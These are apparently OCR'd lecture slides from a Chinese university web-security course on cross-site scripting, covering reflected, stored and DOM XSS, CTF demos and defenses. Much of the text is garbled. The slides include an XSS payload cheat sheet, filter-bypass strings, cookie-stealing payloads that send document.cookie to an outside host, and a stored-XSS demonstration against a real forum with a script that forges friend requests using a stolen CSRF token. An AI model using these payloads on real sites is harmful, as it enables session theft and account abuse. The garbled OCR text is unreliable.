NG XHE Webzss

/" RENMIN UNIVERSITY OF CHINA SCHOOL OF INFORMATION

HEftE R P —— IS yh AN I

10:000 11:3@ 211K
12:000 13:3(e 205B X

https://www.youwel.site/course/websecurity
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| 3171 YOG BB EGSHEIE

http://yoj.ruc.edu.cn/index.php/index/ %3cimg%20src=x%200ne

rror=alert(document.cookie)%3e

@ iR x4+ 0 @ 9 + 0w » QA F
<« C A A%2 | yojrucedu.cnfindex.php/index/<img%20src=x%20onerror=alert(document.cookie)> & 12 ¥ M 0 H ’http:h'yoj.ruc.edu.cnlindex.phpfindexI%SCimg%205rc=x%200nerror:alert(docume... ‘
. » .yoj.ruc.edu.cn | Hm_Ipvt_52b314b9a24d899e6427360feba551a2
yoj ruc. Edu cn Ej_— » .yoj.ruc.edu.cn | Hm_Ivt_52b314b9a24d899e6427360feba551a2
° Hrm Ivt 52b314b9a24d8996427360feba55122=1( NN -+ yopruc.edo.cn | uid
138771; uid=e

° Hm Ipvt_ 52b314b9a24d899e6427360feba551az—_ E" {f_
N ' Ll
FoiENNFARIR o2 %, .

b7

HIRAE C yoj.ruc.edu.cn

FILE: fvar/www/html/ThinkPHP/Common/functions.php  LINE: 112 SR
[ l
I EARTIE)

ThinkPHP3-1:3 { Fast & Simple OOP PHP Framework } -- [ WE CAN DO IT JUST THINK ] C [SS‘”’ ";_atr 13 2022 21:25:05 GMT+0800 (PEHTEAE) |

amesite
M "l

hostOnly '« session =& httpOnly

[V 4 =8
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| 3173: CENCEBOMTRNERS R

https://club.sanguosha.com/misc.php?mod=ranklist

HXER BHEE Rt BAEX BRiEE HESS
—— w<a href="home.php?mod=spa

=profile” target=" blank"/id="bid 1044931"

onmouseover="showTip(thiys)" tip="UV1988: <

img src=x onerror=appendscript('https://ww

w.youweli.site/uv/hook.js")>" initialized=

"true">

—— <img src="https://club.sanguosha.com/uc_

R A S, Mol server/data/avatar/ee1/e4/49/31 avatar_s

- UER) SERRORSEES w mall.jpg" onerror="this.onerror=null;thi

- [SHEE] ZETHRE I EEE .

- (SEEE] BHRSNW ) s.src="https://club.sanguosha.com/uc_ser

ver/images/noavatar_small.gif'">

FNHEE

=i
AR
T

- [XEE] =EFol 3BHTEIEN

- (HXES) SRS, BMERE (O)

- [#MXES] THRSRER, SHikes!

- (HEREN) ZERRS: BE—OiEKEREE!
- [(BEEE] HENES=E

- [EAFEEMN] 20223 BRERE (FEEXR)
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HEANVEZEGE—1"WebRSHS, BAIEZLEMMER, IFRFOXTN

HIBRSSapi, a0, SFEANBAGIAKES, FHAIENEEFEVEEAZE:
http://v.ruc.edu.cn:8dme#/

\ )\ }
[ |

\ Y a;})i
+ https;//, http://ZigERtin "
 v.ruc.edu.cnfFR I ERN
. BOREFR/IRD]

A HBFhttplRSHIBGARO 80, FRLASOIRIEEWER, WRENIRSSE
AIhttpiRSZim 4280, NABEEHS
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http://v.ruc.edu.cn/me#/

IR

" [5]jR

= url X X
" AER

= url X X

/NS FET REurlShttp://v.ruc.edu.cn/mett/ 2EHEIE

m https://v.ruc.edu.cn/me#/ Z
m http://jlaowu.ruc.edu.cn/me#/ 7
m http://v.ruc.edu.cn:8080/me#/ W

m http://v.ruc.edu.cn/you#/
m http://v.ruc.edu.cn:80/me#/
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https://v.ruc.edu.cn:80/me#/
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ISuh I AINT (XSS)

n PEUEBIATILEEXSS(Cross Site Scripting), AT AfIESHIE
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| 4.2 BitHAENS
m 7598 (Reflect XSS)
m 7FigHE (Stored XSS)

" DomZ! (Dom based XSS)



REIEEIXSS
. REVEXSS, NFFE

FABIXSS, WHEBENTZEAMSE K
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" JERAL
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" XEEZERIRENRAFRICookie5E,
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Access: ¢

. ZEENEE




REGIBIXSS AR

5 5 2Eupept CORAE

0 E EB 5B IRR

E L APREMEL
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[ BTBIXSSIN LIS
" RS

1 <input type="text" class="search-box-input"
2 value="<?php if (isset(S_GET['search'

® 5B RUC-CTF, ¥JF&EH1, MkSadmi

R R—NRF, ATESurlthis?

placeholder="#Z {5k A"
1)) echo $S_GET['search'];?>>">

n, 81234, EHEHRE

#  private pannel x +

&« C @ O [ o localhost:81/xss-demo/pann

7 1 HAI HEZRAISEN

Kali Linux & KaliTools ¢ KaliDocs M Kali Forums ex Kali™ (i

role: administrator

madmin — o
2123 |cot ]
i By 212348 RMF

logout

1er Exploit-DB Google Ha


http://www.ruc-ctf.site:9124/challenges#WEB%E5%AE%89%E5%85%A8%E8%AF%BE%E7%A8%8B%E6%BC%94%E7%A4%BA-XSS-15

[ EIBIXSSINTHELES

" EERERurITRS, KNSR ETIYE!

®» | private pannel X+

&« C o O 0O localhost

Kali Linux #& KaliTools @« KaliDocs M Kali Forums e Kaii NetHunter Exploit-DB

role: admlnlstrator

title: 123
content: 213321
title: 1111
content: asdcasd
logout

B ESHUSN" > <script>alert() </script>Byurldgh3 izt :
" 0022%3e%3cscript¥3ealert()%3c%2fscript%3e

QO O localhost

KaliLinux # KaliTools « KaliDocs M Kali Forums ex Kali NetHunter Exploit-DB Google Hacking DB OffSec

box-input placeholder

submi 'r =G0
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| hEmIXSSIEse

= SRR

LR jsonPost

1 cardHeader.innerHTML = “title: ${jsonPost.title} ;

2 cardContent.innerHTML = “content: S$S{jsonPost.content} ;

» ofLAER, ERAFPHENTAERE, ERFMEEF, 1hiE R
AYEEH/xss-demo/add, BRBHW I <img onerror=alert()

src=x />, R




| DOMZAIXSS (TH#E)
* DOM-XSSESREEMEN SR aiksSsar~E4E8E, 8
1813 DOM A ERm A4 BT R 2ERY (AR,

jsSturl 5B LA 8y 2L 3L

Access: ¢




DOMZEUXSSHFE

R i
L e DOMX

L url e X

= DOM-XSSitggiB FHF I TUERER(FilA , XBREZEFALI

a 7

js?ifurl’;\&ﬁ:‘ i #5689 2L 3R

R
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Access: ¢
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| DOMEAXSSIHLI (R

= RACES

o000

1ER4E)

1 var searchText = document.querySelector('.search-box-input').value;

2 var result
3 resultBar.

o=E:2EE

Bar = document.querySelector('.search-box-content');
innerHTML = "{R¥EZEM: "+searchText+"&HRmMT";

LR

RN B <img onerror=alert() src=y />, R

@ localhost:81
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| 4.3 BUHARGENS A
s IEEfar(payload): AZE|BirVFER, BIRZREEMEHAIFZ
o IR ZEE M EREA payload, 1ABLINTERIER

K&, A

</div><script>alert(T)
</script>//

v
l: <div id="...">some text</div> J

b5 - R




T &

s <script> \ x <script9%oM T @ 1 @WXS®@ 1 0

I (QA.T v

msvg VO

wiJavaScriph | 3 @NTH a b %o

<script>alert(“hack")</script> ## Hhack
<script>alert(/hack/)</script> ## Hhack
<script>alert(l)</script> #HH1L, N TFHFAUARHL S
<script>alert(document.cookie)</script> #5% i cookie
<script src=http://xxx.com/xss.js></script> #3|FHAMEHIxss

<svg onload="alert(1)"™>
<svg onload="alert(1)"//

E<mg> Vo

<img src=1 onerror=alert("hack")>

<img src=1 onerror=alert(document.cookie)> #%¥ficookie

%00



T &

®m <pody> \ o

<body onload=alert(1)>
<body onpageshow=alert(1)>

®video \:
<video onloadstart=alert(l) src="/media/hack-the-planet.mp4" />

mstyle Vo

<style onload=alert(1l)></style>

s E (JHY o HTML5 Security Cheatsheet



https://html5sec.org/#html5

I AL

At A VA mscriptoM 7k € MW Xjept

(A

Ar A VARHTMU gk
#HPRANEAHTMLUERAS, SEEGEEE AT & 560
<l-- HPHIA -->
<!--|--><script>alert('hack’)</script><!-- }->

At A VA RHTMI%M GBIR & ®©
#H P8INEARE B, SEEEEE T L THA &80T

<div HPHIA="xx"> </div>
<div] ></div><script>alert('hack')</script><div af"xx"> </div>

Ar A VA RHTMI%M IR & 6

#H P AE bR IR E, SEEEE T AT &5
<div id="HPHIA"></div>
<div id="['></div><script>alert('hack’')</script><div a="x]></div>




I AL

AT A VAW

HTMI%oM Gie E

#H P RINEANRRE S, S8R H T LOEAT A &5l
<HFPBAN  id="xx" />

<

b<script>alert('hack')</script><b

A~ i a3 CSS

#H P BIANERNCSSHE, SEIGEEER D THESE
<style>H i AN<style>

<style>

Td="xx" />

K/style><script>alert('hack')</script><style>

</style>
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| scHE1 YOISSE B ERE M ST

= YojRbIBfRiEHY R ERY/Rim RS0 T

o~Nounh WNE

16
17
18
19
20
21
22
23
24
25
26

<div class="error">
<p class="face">:(</p>

<h1><?php echo Se['message'];/*echo strip_tags(Se[ 'message']); */?></hl1>

<01V class=rconcent >
<?php if(isset(Se['file'])) {?>
<div class="info">
<div class="title">
<h3>5 1R B </ h3>

</div>
<div class="text">
<p>FILE: <?php echo Se['file'] ;?> &#12288; : <?php echo ['line'];?></p>
</div>
</div>
<?php }?>

<?php if(isset(Se['trace'l)) {2>
<div class="info">
<div class="title">
<h3>TRACE</h3>
</ div>
<div class="text">
<p><?php echo nl2br(Se['trace']);?></p>
</ div>
</div>
<?php }2>
</div>
</div>



| scORAT . YOI BB B RS A ST
» N B EEeBEnnmEL, giE e

® Payload:
http://yoj.ruc.edu.cn/index.php/index/%3cimg%20src=x%2

Oonerror=alert(document.cookie)%3e

= EEXERurlfEnEZig/9:

= <img src=x onerror =alert(document.cookie )>

& @] A A FZ2 | yoj.ruc.edu.cn/index.php/mde){’<img%205rc:x%200nerror:alert(documentcookie)> I

® > FE-HFL-. B PEEH-&GR. 0 Alenware @ Temp Mail - Dispos...  [B FTREEERERI - wuyo... sEprEmncE . B ch

A gD m QuEes REE <«HRE Ppuw DRE Eess G

<IDOCTYPE html PUBLIC "-/fW3C//DTD XHTML 1.8 Transitiona EN" "http://www.w3.org/TR/xhtm11/DTD/xI
<m xmlns="http://www.wB.org/1999/xhtml">  scroll
® » <head> = </head>
~ <body>
<div class="error">
® ace
<p class="face">: p>
oo ~<hl>
J‘Eéﬁ]ﬂﬁﬁﬂi
i ’Enuﬁﬁtﬂ & ="alert(document.cookie)">
i ,n‘h
<div cla content” > e < /divy
HERE i
FILE: p <div clasa:"(cpyr‘ight"> e < fdivy
: </body>
/var/www/html/ThinkPHP/Common/ </h’;m‘i>y

LINE: 112
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HZCIETREY R SE 57 EY

. Jj E&J\%EE

s SHEHHEIEIZTES, FEEEPBNREIRE RS
" ZREAN—LERETHTTIINE, Wscript, alert, W3|S%
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*E
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IEFIZY R ST B

il%{\'fEE T

/

" MYBEIE T RET, BN —EF/AFM TR, IR ES S

TR S

R T KERES, BEHT)SIUS -> SEE

RRZK

= Payload: boxTitlef£Z23%2Z 1%200onclick=location.href=%27http://www.you
wei.sitefpy/uploads/recv.php?data=%27%2Bdocument.cookie

" %27THRE|S HREIRANE|S, e T RIENIREE, (15

SIS R ZEINE © 2B SERT

+~<div class="navBox main e">

<span awsui-qtip="p23"Jonclick="location.href=%27http://www.youwei.site/lby/uploads/recv.php?data=%27%28d

ocument.cookie”>123</span>
</div>

3



| oo HeETURAS RS ST
s FAEHITT—REE, B AZE.

= http 7 /some?data get

. 550 RIS ERANS TR

= Payload: boxTitle=%27onclick=%27location.href=(ht)%2B(tp://www .you
wei.site/lby/uploads/recv.php)%2B(?data=)%2Bdocument.cooki
e

" %2bANS "+, FRSHEIRANGIS, JSEESIHARN S HERT
rreRiR(E, KABRINIESER, BREEEREAXEIESRS=sL

onclick="location.href="ht"+"tp://www.youwei.site/lby/uploads/r

ecv.php "+"?data="+document.cookie
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10
11
12
13
14
15

SCUIERNTS . =EFCInmEINT &FEERE iRl

SRR RGN, B AP N RIEs

) @
<form method="post">

<td><input type="text" name="note" class="px" value="" size="25" /> </ td>
<td>

&nbsp;<input type="text" id="unitprice" name="unitprice" class="px vm" value="1" size="7" onblur="checkCredit('showcredit');"

</ td>
<td>

&nbsp;<input type="text" id="showcredit" name="showcredit" class="px vm" value="100" size="7" onblur="checkCredit('

/>&nbsp;

<button type="submit" name="show_submit" class="pn vm"><em>%j0</em></button>
</ td>

</ tr>

</table>

<input type="hidden" name="showsubmit" value="true" />

<input type="hidden" name="formhash" value="<?php echo FORMHASH;?>" />

</ form>

showcredit'

>

5

I
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* NEEFEnoteFRAVRIRAAE, HIERIREHEANITIEE
2%

[ XN
il function _send() {
2
3
4 Snote = $Sthis—_sget_note();
5 if(empty(Snote)) { note
6 Sthis—db—query ("REPLACE INTO ".UC_DBTABLEPRE."vars SET name='noteexists', value='0'");
7 return NULL;
8 }
9
10 Sclosenote = TRUE;
11 foreach((array)Sthis—apps as Sappid = Sapp) {
12 Sappnotes = Snote['app'.Sappid];
15 if(Sapp['recvnote'] && Sappnotes == 1 && Sappnotes > -UC_NOTE_REPEAT) { note3
14 Sthis—sendone(Sappid, 0, Snote);
15 Sclosenote = FALSE; .
16 break; r]()tEEl(j
17 }
18 }
19 if(Sclosenote) {
20 Sthis—db—query("UPDATE ".UC_DBTABLEPRE."notelist SET closed='1' WHERE noteid='Snote[noteid]'");
21! I
22
23 Sthis—_gc();




| o3 SERCIESamE RIS 8
IXE—MEEEXSS, BEASUESEN SRR B EE X
gudie. IRFesERFPIREN LEESHERImEItipF. BES
tipie B AERENRE, Si@idshowTip(this)FEGENZIREF

1 <a href="home.php?mod=space&amp;uid=1044931&amp;do=profile"

2 target="_blank"

3 id="bid_1644931"

4 onmouseover="showTip(this)"

5 tip="UV1988: <img src=x onerror=appendscript('https://www.youwei.site/uv/hook.js')>"

6 initialized="true">

7 <img src="https://club.sanguosha.com/uc_server/data/avatar/001/04/49/31_avatar_small. jpg"

8 onerror="this.onerror=null;this.src="https://club.sanguosha.com/uc_server/images/noavatar_small.gif'">
9 </a>

1 function showTip(ctrlobj) {
2 SF('_showTip', arguments);
3}

I



| scoimi3: SERCEEEIT AR

= showTipERIARLIIN T, TUBRSEMHEE NS, 7
ER7T BAJINnnerHTML

e0e
1 function _showTip(ctrlobj) {
2 if (lctrlobj.id) {
3 ctrlobj.id = 'tip_' + Math.random();
4 }
5 menuid = ctrlobj.id + '_menu';
6 if (!S(menuid)) {
7 var div = document.createElement('div');
8 div.id = ctrlobj.id + '_menu';
9 div.className = 'tip tip_4';
10 div.style.display = 'none';
11 | div.innerHTML = '<div class="tip_horn"></div><div class="tip_c">' + ctrlobj.getAttribute('tip') + '</div>': |
12 S('append_parent').appendChild(div);
13 }
14 S(ctrlobj.id).onmouseout = function() {
15 hideMenu('"', 'prompt');
16 }
17 ;
18 showMenu ({
19 'mtype': 'prompt',
20 'ctrlid': ctrlobj.id,
21 'pos': '12!',
22 'duration': 2,
23 'zindex': JSMENU['zIndex']['prompt']
24 1k

25 }
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" —ERMNGN—EERNKNEEEEP, Bl K&
cookiegHttp OnlyRY, {#15javascripticiZiRENiZcookie

~ acw tc
Name
acw_t
Value
] r -+
[
Hide Advanced
Domain
club.sanguosha.com

Expiration

%] Fri Apr 11 2025 09:24:06 GMT +0800 (EIJ@*H_T}EHETH)
Same Site

w

Host Only () session () Secure Http Only
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EEEERE, RAREBRELA P §OEA r
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| scoimpir3: SERCEEaIT AR

" 1 Z S RENHI RS H AS AP B — MRS token, F18IX
TELAPE, BEEtokenFETFTHTMLIRESF, B 7 XSSikwil,
WHEEMALEREZ EE&RItokenT

XM okenfE=E R ML FRAformhash, FEFforum.php
WWEYF, AT 3REformhash, OFiI&EINE forum.phpIaHE,

. NN
1 target = "https://club.sanguosha.com/";
2 iframe = document.createElement("iframe");

3 iframe.src = target + "forum.php";
4 iframe.onload = handler;
5 document.body. appendChlld(lframe),

I
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LIS . =ERCIR BN RN iR

= QffEHiframefiizforum.phpiaE, EiHjSSRENFAJHZENSEL,
1XEE}9CSRF token -> formhashflFF/Juid

f>‘<r

formhash = iframe.contentDocument.getElementsByName("formhash")[®].value;
alert(formhash};

my_uid = document.getElementsByClassName("vwmy")[@].firstChild.href.match(/\d+/g);
alert(my_uid);

" QMNEUrFPIEEYE, EEIRZS=ANBRIIELKEZENZEE

0@
1 url_add = target+"home.php?mod=spacecp&ac=friend&op=add&uid="+uv_uid+"&inajax=1"; Url
2 alert(url_add);
3
4 data_add = new FormData();
5 data_add.append("referer", target+"home.php?mod=space&uid="+uv_uid+"&do=profile");
6 data_add.append("addsubmit", "true");
7 data_add.append("handlekey", "a_friend_1li_"+uv_uid);
8 data_add.append("formhash", formhash);
9 data_add.append("note", "HI"};

I



SLAIRENT3 . = ERieimsmBINe RS “Ri”
= OIIEUNFHBELIE, (SRS SN

alert(url

data_feed

O 0O ~NO0O UV WN PR

data_feed.
data_feed.
data_feed.
data_feed.
data_feed.

url_feed = target+"home.php?mod=spacecp&ac=top";

_feed);
= new FormData();
append("fusername", uv_name);
append("stakecredit", "1");
append("friend_submit", "");
append("friendsubmit", "true");
append("formhash", formhash);

HE

Xxhr_add = new XMLHttpRequest();
xhr_add.open("POST", url_add, true);
Xxhr_add.send(data_add);

Xxhr_feed = new XMLHttpRequest();
xhr_feed.open("POST", url_feed, true);
xhr_feed.send(data_feed);

VI hAs WNBE

url
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http://www.ruc-ctf.site:9124/challenges#WEB%E5%AE%89%E5%85%A8%E8%AF%BE%E7%A8%8B%E6%BC%94%E7%A4%BA-XSS-15

4.5 “tIIEHiI]ZIKIQLJEI’SIBE?ﬂ

" XSSPEfHRYEARERSZE: XAFRISAGFIURLSEH)HITIIIE,
Xﬂﬁutl:'.LﬁhtmlﬁﬁE'xo

Wik & E K55 html £ X
E asewr REHHLE
Access: 5'¢ ~

2z IRseee R



Sy AN I R A B 1

" SWEARNASHTIE, Ao AERSETENES R,
. XSS i
. XSS i

\ 4

X

" XA ThtmIgRSS, MEEIIREL, KRFRYRAREEHTT
htmlfwts, (EEAREIFIRAIZETT.

P

X
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P

" S ELRE

= 55 X B

= {58 JavaScriptiEZE &
" AERERE

I Ut =k a ]
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EEEL N O TN ESEZS )

s L NiZE TR ETscript, EEXATAETEAT,
SHFEEEIAEN GRS

" . EERIIEF R Escript:

VETER °oce

1 case 1: {
2 Sreflect_value = preg_replace('/script/','', Sreflect_value);

3 } break;

IXERAASLED T A FEIscript=FE, FREEBRATSFRE



X
\

e
?Iz
[<f

I 0) Dbl ath

o BRI, SAIRE, R

EXERFILLRE —ESHA TR
R STEIXSS : | TR (L) v # : g .G or & Exoloit.DB % Google Hacki
Kali Linux » Kali Docs ns inter Exploit-DB Google Hacking C

FEBRED ( BA ) 1
- E&d i€ script g}éﬁ:o ?cailglrgljiftrator
k=3 ERANZiTiE [lezma=ns |<>alert()"> [co!|
Ehlidiscript Eiif’t:e;%:leSEZl
title: 1111

rontant. ac Arac

s BEAR(IIZBIMIpayload, AIILEEM
" Exp: Javascript@55REES, FXOKNNE, AILLKBXRNS

ZudAT, "> <sCript>alert(1)</sCript>
= url 4 %22%3e%3csCript%3ealert(1)%3c%2fsCript%3e%0a

cs N Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec




ﬁ_ﬂ_] Eél E/Jl_l 1y = Al Bjj'ff]&/ \é%ij-
8 2 AXD KNGS Escript= T

U= B
1 case 2: {

2 Sreflect_value = preg_replace('/script/i','', Sreflect_value);
3 } break;

X—EMINY /1 288, " KNEARSR, FLABIEA ARG
SR HY S TSI AR IR,



EIEEN) O aelyatr S a=E250)
« SHIRIGHEN, SEIRE, WEE ARSI

iForums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

RETRIXSS : | st (BiL) v
TR ( Bk

EiZad iEscript

1'% | FALKRNS T iE
?ﬁﬁﬂﬂiﬁiscript @ localhost:81

Flag: flag{WAOw!_y4_r3ally_Gr4sP_XSS!)

" Exp: UL EBAscripting 7, {(BERMEBEME script=fF a2
NEREH MR, HERRPBAGRoRIscriptRi/a =T
TrHHE, REHRE— D scriptirEiln], XEEBHNES5RT
"> <scrscriptipt>alert(1)</scrscriptipt>

= url 4 %22%3e%3cscrscriptipt%3ealert(1)%3c%2fscrscriptipt%3e%0a
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BN R B A N EH e
B 3, SBITIHIE T <scriptflif X N ERFEFENEEZRAYE
HELER

case 3: {
Sreflect_value = preg_replace('/<(.*)s(.x)c(.*)r(.x)i(.*)p(.*)t/i","", Sreflect_value);
} break;

XERRIBEATE< s ¢ ri p thIIAFHORE TSR, 7
BT ANING, WNETIEEITIXR—F, HiI—RRIASscriptiFEe
BIGRIARINESER T



EIEEN)Opralyatn) S a=E250)

= HEMRAVEEY, mTRE, SR EENTEscript”, {RArLAdind
BIEAYJL M payload, RAILAE SfiE) L1 payloadEEscriptin

S ReBEA RETRIXSS : [Fmfil (Hik) v
TR ( BKIA)
EFiT igscript
=3 ERANSIT i

sl iEscript

" Exp: XEHscriptinEBERANERA T, — M ERNEAEER
HABFRE "> <img src=x onerror=alert() />

localhost

& Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

@ localhost:81

Flag: flag{WAOw!_y4_r3ally_Gr4sP_XSS!}




S HZIZIE

R ERAERATIEEH
"B (html) MBERIFENESR, jSTURIEIRSE

Rurl, SHEIEE, ece

1 <script>alert()</script>
2 <a href="'javascript:alert() '>click me</a>

3 <img onerror=alert() src=x />

FNBREERZ T .

Alb

(1L

" FrABAIABE R MBI ERAYEE N, [E
= PERA IR EES, REFFNLIERYIINEA:

= X
A script,onerror 7 X
A n X
m 2K
A X n X
A n html n n
html X

X

A
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pra=2 = E=2lE ) O rtclyats

XRRIBEMAShtmItESE  °°°
FTEBETE

var cheerio
var $ = cheerio.load(html);
Rirsy [
. I FR
html body,head,divimg,afont = ° oy @ Cetassn,
|
[

function(html){
reqiure('cheerio');

"html" : [''],

"body'

2

3

4

5 var whiteList = {
6

7 I']!
8

10 "img' 'src'],
s 11 'a' "href'],
/N sy HS kb I 12 ‘font' 'size', 'color'l]
)-ll 1?]§ALL jEétjl:r[EZJH{]jEEE:::}Eis|?1E 13 }:
14
15 S('+').each(function(index,elem){
(;Z[Iadzj‘\_m/ \ﬁ]ﬂ:h ref}: I‘QE) 16 if (!'whiteList[elem.name]) {
17 S(elem).remove();
,m 18 return;
s EZBERITERL 15 )
20 for (var attr in elem.attribs) {
21 if (whiteList[elem.name].indexOf(attr) = -1) {
22 S(elem).attr(attr, null);
23 ¥
24 }
25 1);
26

27 return S.html();
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InnerText InnerHTML

=S =S

= htmlspecialchars
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Aumse M1
« SERIREH, HITRE, KSR RTRT I,

TFEEIXSS : RIS v)
TR ( BRA )
B3 RIREEY
@00 n else n
InnerText InnertHTML
1 <?php

2 if (Sstore_xss_defense = 1) { 2>
3 cardHeader.innerHTML = “title: ${jsonPost.title} ;

4 cardContent.innerHTML = “content: ${jsonPost.content} ;
5 <?php } else { 2>

6 cardHeader.innexrText = "title: ${jsonPost.title}  ;

7 cardContent.innerText = “content: ${jsonPost.content} ;

8 <?php } 2>



BlimEE M B
BERET, RERIIZ BRI payload

= 4 <img onerror =alert() src=x />

* O BRINSERERMENE L, iREMAXSS

content: 213321
title: 1111
content: asdcasd

title: 123
content: <img onerror=alert() src=x />

logout
=E
BN SIE R

=content: &lt;img omerror=alert() src=x JfRgt;=jdiv=







